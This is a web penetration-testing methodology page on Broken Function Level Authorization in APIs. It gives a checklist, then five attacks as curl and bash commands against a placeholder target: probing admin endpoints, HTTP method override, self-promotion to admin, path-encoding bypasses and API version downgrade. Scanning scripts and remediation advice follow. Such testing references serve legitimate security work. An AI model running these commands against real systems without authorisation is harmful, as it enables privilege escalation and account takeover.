Broken Function Level Authorization (BFLA)
Broken Function Level Authorization (BFLA) Severity: High–Critical | CWE: CWE-285, CWE-269 OWASP API Top 10: API5:2023 – Broken Function Level Authorization What Is BFLA? BFLA (Broken Function Level Authorization) occurs when users can access functions/endpoints they shouldn’t based on their role — e.g., a regular user calling admin APIs. Unlike BOLA (accessing another object), BFLA is about accessing privileged operations. Regular user token → GET /api/users/me → 200 OK (correct) Regular user token → GET /api/admin/users → should be 403 → but returns 200 with all users → BFLA Or: Regular user → DELETE /api/users/1337 → should be 403 → returns 204 No Content → BFLA Discovery Checklist Map all endpoints from JS, Swagger/OpenAPI, API docs, traffic Identify admin/privileged endpoints: /admin, /internal, /manage, /staff Test all “restricted” endpoints with low-privilege token Test all HTTP methods on every endpoint (GET→POST→PUT→PATCH→DELETE) Test API version downgrade (v2 protected, v1 not) Test HTTP method override headers Test path confusion (capitalization, trailing slash, double slash) Test direct object manipulation to trigger privileged operations Compare responses: authenticated admin vs authenticated user Test GraphQL mutations with user token (see 83_GraphQL_Full.md) Payload Library Attack 1 — Admin Endpoint Access # Test admin paths with regular user token: ENDPOINTS=( "/admin/users" "/admin/settings" "/api/admin/dashboard" "/api/v1/admin/users" "/management/users" "/internal/config" "/staff/reports" "/superadmin" "/api/users?role=admin" # role filter "/api/audit-log" "/api/system/health/debug" ) for path in "${ENDPOINTS[@]}"; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://target.com$path" \ -H "Authorization: Bearer REGULAR_USER_TOKEN") echo "$path: $status" done Attack 2 — HTTP Method Exploitation # Server only protects specific methods: # GET /api/users/1 → 403 (protected read) # DELETE /api/users/1 → 204 (DELETE not protected) # PUT /api/users/1 + body → 200 (PUT not checked) for method in GET POST PUT PATCH DELETE HEAD OPTIONS TRACE; do result=$(curl -so /tmp/resp -w "%{http_code}" \ -X "$method" "https://api.target.com/v1/admin/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"role":"admin"}') echo "$method: $result $(cat /tmp/resp | head -c 100)" done # HTTP method override (when firewall only allows GET/POST): curl -X POST "https://api.target.com/v1/users/1" \ -H "X-HTTP-Method-Override: DELETE" \ -H "Authorization: Bearer USER_TOKEN" curl -X POST "https://api.target.com/v1/users/1" \ -H "X-Method-Override: PUT" \ -H "Content-Type: application/json" \ -d '{"role": "admin"}' # _method parameter (Rails/Laravel): curl -X POST "https://api.target.com/v1/users/1?_method=DELETE" \ -H "Authorization: Bearer USER_TOKEN" Attack 3 — Privilege Escalation via Function # Escalate own privileges: # Find: update user role function curl -X PUT "https://api.target.com/v1/users/MY_ID" \ -H "Authorization: Bearer MY_TOKEN" \ -H "Content-Type: application/json" \ -d '{"role": "admin", "permissions": ["*"]}' # Create admin user (registration without role check): curl -X POST "https://api.target.com/v1/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Content-Type: application/json" \ -d '{"email":"attacker@evil.com","password":"pass","role":"admin","isAdmin":true}' # Promote self via admin endpoint: curl -X POST "https://api.target.com/v1/admin/users/MY_ID/promote" \ -H "Authorization: Bearer USER_TOKEN" # Assign group/team with admin privileges: curl -X POST "https://api.target.com/v1/teams/ADMIN_TEAM/members" \ -H "Authorization: Bearer USER_TOKEN" \ -d '{"user_id": "MY_ID"}' Attack 4 — Path Confusion Bypass # Uppercase bypass (if authorization check is case-sensitive): curl "https://api.target.com/Admin/users" \ -H "Authorization: Bearer USER_TOKEN" curl "https://api.target.com/ADMIN/users" curl "https://api.target.com/aDmIn/users" # Trailing slash / double slash: curl "https://api.target.com/admin/users/" curl "https://api.target.com//admin/users" curl "https://api.target.com/api//admin/users" # Path traversal to reach admin: curl "https://api.target.com/api/users/../admin/users" \ -H "Authorization: Bearer USER_TOKEN" curl "https://api.target.com/api/v1/users/../../admin/users" # URL encoding: curl "https://api.target.com/%61dmin/users" # a → %61 curl "https://api.target.com/adm%69n/users" # i → %69 curl "https://api.target.com/%2fadmin%2fusers" # encoded slashes Attack 5 — API Version Downgrade # v2 is protected but v1 is legacy and unprotected: curl "https://api.target.com/v2/admin/users" \ -H "Authorization: Bearer USER_TOKEN" # → 403 curl "https://api.target.com/v1/admin/users" \ -H "Authorization: Bearer USER_TOKEN" # → 200? # Test multiple version formats: for v in v1 v2 v3 v0 beta alpha 1 2 3; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/$v/admin/users" \ -H "Authorization: Bearer USER_TOKEN") echo "/$v/: $status" done # Accept-Version header: curl "https://api.target.com/admin/users" \ -H "Authorization: Bearer USER_TOKEN" \ -H "Accept-Version: v1" Tools # AuthMatrix (Burp extension): # Define roles, assign tokens, map endpoints # Auto-test all combinations → shows unauthorized access # Autorize (Burp extension): # Replay every request with lower-privilege token # Highlights responses that match → potential BFLA # ffuf for endpoint discovery: ffuf -u "https://target.com/FUZZ" \ -H "Authorization: Bearer USER_TOKEN" \ -w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt \ -mc 200,201,204 -o results.json # Param Miner (Burp): # Discover hidden parameters that control function access # Manual script — test all methods × all endpoints: python3 -c " import requests, itertools token = 'USER_TOKEN' endpoints = ['/admin/users', '/admin/settings', '/api/export'] methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'] headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'} for ep, m in itertools.product(endpoints, methods): r = requests.request(m, f'https://target.com{ep}', headers=headers, json={}, timeout=5) if r.status_code not in (403, 405): print(f'[!] {m} {ep} → {r.status_code}') " Remediation Reference Centralized authorization layer: all function-level access decisions in one place (middleware/policy engine) Default deny: every function access denied unless explicitly granted to role Role-based access control (RBAC): define roles with explicit function permissions, check on every call Do not rely on UI hiding: removing admin buttons from UI is not access control — enforce at API level Audit all HTTP methods per endpoint — not just GET/POST API version retirement: decommission old API versions; redirect with 410 Gone and enforce same auth controls until removal Regular access control audits: use automated tools like AuthMatrix in CI/CD pipeline Part of the Web Application Penetration Testing Methodology series.